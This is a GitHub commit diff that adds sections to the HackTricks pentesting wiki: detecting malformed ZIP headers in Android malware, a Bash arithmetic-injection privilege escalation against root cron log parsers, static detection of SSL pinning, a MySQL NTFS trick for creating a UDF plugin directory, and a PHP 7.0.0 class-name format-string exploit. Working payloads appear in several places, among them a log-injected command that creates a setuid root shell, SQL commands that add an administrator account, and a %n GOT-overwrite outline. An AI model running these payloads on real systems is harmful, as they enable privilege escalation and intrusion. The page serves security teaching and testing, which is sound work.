Skip to content

Commit 789a2b7

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents f05afa0 + ff6e21e commit 789a2b7

File tree

19 files changed

+718
-21
lines changed

19 files changed

+718
-21
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -236,6 +236,7 @@
236236
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
237237
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
238238
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
239+
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
239240
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
240241
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
241242
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md

Lines changed: 160 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,168 @@ The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestud
1414

1515
It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
1616

17-
## References
17+
---
1818

19-
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
19+
## Anti-reversing tricks in APKs using manipulated ZIP headers
2020

21-
{{#include ../../../banners/hacktricks-training.md}}
21+
Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are:
22+
23+
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
24+
- Abusing large/custom Extra fields to confuse parsers
25+
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
26+
27+
### 1) Fake encryption (GPBF bit 0 set) without real crypto
28+
29+
Symptoms:
30+
- `jadx-gui` fails with errors like:
31+
32+
```
33+
java.util.zip.ZipException: invalid CEN header (encrypted entry)
34+
```
35+
- `unzip` prompts for a password for core APK files even though a valid APK cannot have encrypted `classes*.dex`, `resources.arsc`, or `AndroidManifest.xml`:
36+
37+
```bash
38+
unzip sample.apk
39+
[sample.apk] classes3.dex password:
40+
skipping: classes3.dex incorrect password
41+
skipping: AndroidManifest.xml/res/vhpng-xhdpi/mxirm.png incorrect password
42+
skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password
43+
skipping: classes2.dex incorrect password
44+
```
45+
46+
Detection with zipdetails:
47+
48+
```bash
49+
zipdetails -v sample.apk | less
50+
```
51+
52+
Look at the General Purpose Bit Flag for local and central headers. A telltale value is bit 0 set (Encryption) even for core entries:
53+
54+
```
55+
Extract Zip Spec 2D '4.5'
56+
General Purpose Flag 0A09
57+
[Bit 0] 1 'Encryption'
58+
[Bits 1-2] 1 'Maximum Compression'
59+
[Bit 3] 1 'Streamed'
60+
[Bit 11] 1 'Language Encoding'
61+
```
62+
63+
Heuristic: If an APK installs and runs on-device but core entries appear "encrypted" to tools, the GPBF was tampered with.
64+
65+
Fix by clearing GPBF bit 0 in both Local File Headers (LFH) and Central Directory (CD) entries. Minimal byte-patcher:
66+
67+
```python
68+
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
69+
import struct, sys
70+
71+
SIG_LFH = b"\x50\x4b\x03\x04" # Local File Header
72+
SIG_CDH = b"\x50\x4b\x01\x02" # Central Directory Header
73+
74+
def patch_flags(buf: bytes, sig: bytes, flag_off: int):
75+
out = bytearray(buf)
76+
i = 0
77+
patched = 0
78+
while True:
79+
i = out.find(sig, i)
80+
if i == -1:
81+
break
82+
flags, = struct.unpack_from('<H', out, i + flag_off)
83+
if flags & 1: # encryption bit set
84+
struct.pack_into('<H', out, i + flag_off, flags & 0xFFFE)
85+
patched += 1
86+
i += 4 # move past signature to continue search
87+
return bytes(out), patched
88+
89+
if __name__ == '__main__':
90+
inp, outp = sys.argv[1], sys.argv[2]
91+
data = open(inp, 'rb').read()
92+
data, p_lfh = patch_flags(data, SIG_LFH, 6) # LFH flag at +6
93+
data, p_cdh = patch_flags(data, SIG_CDH, 8) # CDH flag at +8
94+
open(outp, 'wb').write(data)
95+
print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
96+
```
97+
98+
Usage:
99+
100+
```bash
101+
python3 gpbf_clear.py obfuscated.apk normalized.apk
102+
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
103+
```
104+
105+
You should now see `General Purpose Flag 0000` on core entries and tools will parse the APK again.
106+
107+
### 2) Large/custom Extra fields to break parsers
108+
109+
Attackers stuff oversized Extra fields and odd IDs into headers to trip decompilers. In the wild you may see custom markers (e.g., strings like `JADXBLOCK`) embedded there.
22110

111+
Inspection:
23112

113+
```bash
114+
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
115+
```
116+
117+
Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads.
118+
119+
DFIR heuristics:
120+
- Alert when Extra fields are unusually large on core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
121+
- Treat unknown Extra IDs on those entries as suspicious.
122+
123+
Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage:
124+
125+
```bash
126+
mkdir /tmp/apk
127+
unzip -qq normalized.apk -d /tmp/apk
128+
(cd /tmp/apk && zip -qr ../clean.apk .)
129+
```
130+
131+
### 3) File/Directory name collisions (hiding real artifacts)
132+
133+
A ZIP can contain both a file `X` and a directory `X/`. Some extractors and decompilers get confused and may overlay or hide the real file with a directory entry. This has been observed with entries colliding with core APK names like `classes.dex`.
134+
135+
Triage and safe extraction:
136+
137+
```bash
138+
# List potential collisions (names that differ only by trailing slash)
139+
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
140+
141+
# Extract while preserving the real files by renaming on conflict
142+
unzip normalized.apk -d outdir
143+
# When prompted:
144+
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
145+
# new name: unk_classes.dex
146+
```
147+
148+
Programmatic detection post-fix:
149+
150+
```python
151+
from zipfile import ZipFile
152+
from collections import defaultdict
153+
154+
with ZipFile('normalized.apk') as z:
155+
names = z.namelist()
156+
157+
collisions = defaultdict(list)
158+
for n in names:
159+
base = n[:-1] if n.endswith('/') else n
160+
collisions[base].append(n)
161+
162+
for base, variants in collisions.items():
163+
if len(variants) > 1:
164+
print('COLLISION', base, '->', variants)
165+
```
166+
167+
Blue-team detection ideas:
168+
- Flag APKs whose local headers mark encryption (GPBF bit 0 = 1) yet install/run.
169+
- Flag large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`).
170+
- Flag path-collisions (`X` and `X/`) specifically for `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
171+
172+
---
173+
174+
## References
175+
176+
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
177+
- [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper)
178+
- [zipdetails (Archive::Zip script)](https://metacpan.org/pod/distribution/Archive-Zip/scripts/zipdetails)
179+
- [ZIP File Format Specification (PKWARE APPNOTE.TXT)](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
24180

181+
{{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/README.md

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -416,6 +416,30 @@ Read the following page for more wildcard exploitation tricks:
416416
wildcards-spare-tricks.md
417417
{{#endref}}
418418

419+
420+
### Bash arithmetic expansion injection in cron log parsers
421+
422+
Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.
423+
424+
- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
425+
426+
- Typical vulnerable pattern:
427+
```bash
428+
#!/bin/bash
429+
# Example: parse a log and "sum" a count field coming from the log
430+
while IFS=',' read -r ts user count rest; do
431+
# count is untrusted if the log is attacker-controlled
432+
(( total += count )) # or: let "n=$count"
433+
done < /var/www/app/log/application.log
434+
```
435+
436+
- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
437+
```bash
438+
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
439+
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
440+
# When the root cron parser evaluates (( total += count )), your command runs as root.
441+
```
442+
419443
### Cron script overwriting and symlink
420444

421445
If you **can modify a cron script** executed by root, you can get a shell very easily:
@@ -1682,6 +1706,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
16821706
- [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
16831707
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
16841708
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
1685-
1709+
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
1710+
- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
16861711
16871712
{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/README.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -444,6 +444,62 @@ Applications targeting **API Level 24 and above** require modifications to the N
444444

445445
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
446446

447+
#### Static detection of SSL/TLS pinning
448+
449+
Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths.
450+
451+
Tool: SSLPinDetect
452+
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
453+
- Reports exact file path, line number, and a code snippet for each match.
454+
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
455+
456+
Install
457+
- Prereqs: Python >= 3.8, Java on PATH, apktool
458+
459+
```bash
460+
git clone https://github.com/aancw/SSLPinDetect
461+
cd SSLPinDetect
462+
pip install -r requirements.txt
463+
```
464+
465+
Usage
466+
```bash
467+
# Basic
468+
python sslpindetect.py -f app.apk -a apktool.jar
469+
470+
# Verbose (timings + per-match path:line + snippet)
471+
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
472+
```
473+
474+
Example pattern rules (JSON)
475+
Use or extend signatures to detect proprietary/custom pinning styles. You can load your own JSON and scan at scale.
476+
477+
```json
478+
{
479+
"OkHttp Certificate Pinning": [
480+
"Lcom/squareup/okhttp/CertificatePinner;",
481+
"Lokhttp3/CertificatePinner;",
482+
"setCertificatePinner"
483+
],
484+
"TrustManager Override": [
485+
"Ljavax/net/ssl/X509TrustManager;",
486+
"checkServerTrusted"
487+
]
488+
}
489+
```
490+
491+
Notes and tips
492+
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
493+
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
494+
- Typical detection targets to triage next:
495+
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
496+
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
497+
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
498+
- Declarative pins in res/xml network security config and manifest references
499+
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
500+
501+
502+
447503
#### Bypassing SSL Pinning
448504

449505
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
@@ -799,6 +855,9 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
799855
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
800856
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
801857
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
858+
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
859+
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
860+
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
802861

803862
## Yet to try
804863

src/network-services-pentesting/pentesting-mysql.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add");
289289
SELECT sys_exec("net localgroup Administrators npn /add");
290290
```
291291
292+
#### Windows tip: create directories with NTFS ADS from SQL
293+
294+
On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`:
295+
296+
```sql
297+
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
298+
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
299+
```
300+
301+
This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
302+
292303
### Extracting MySQL credentials from files
293304
294305
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
@@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
749760
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
750761
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
751762
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
763+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
752764
753765
754766

src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
1+
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

@@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V
9797

9898
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
9999

100-
## References
100+
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
101101

102-
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
102+
When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
103103

104-
{{#include ../../../banners/hacktricks-training.md}}
104+
Minimal repro vulnerable pattern:
105+
106+
```php
107+
<?php
108+
$model = $_GET['model'];
109+
$object = new $model();
110+
```
111+
112+
Exploitation outline (from the reference):
113+
- Leak addresses via `%p` in the class name to find a writable target:
114+
```bash
115+
curl "http://host/index.php?model=%p-%p-%p"
116+
# Fatal error includes resolved string with leaked pointers
117+
```
118+
- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
119+
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
105120

121+
Notes:
122+
- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
123+
- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
106124

125+
## References
126+
127+
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
128+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
107129

130+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)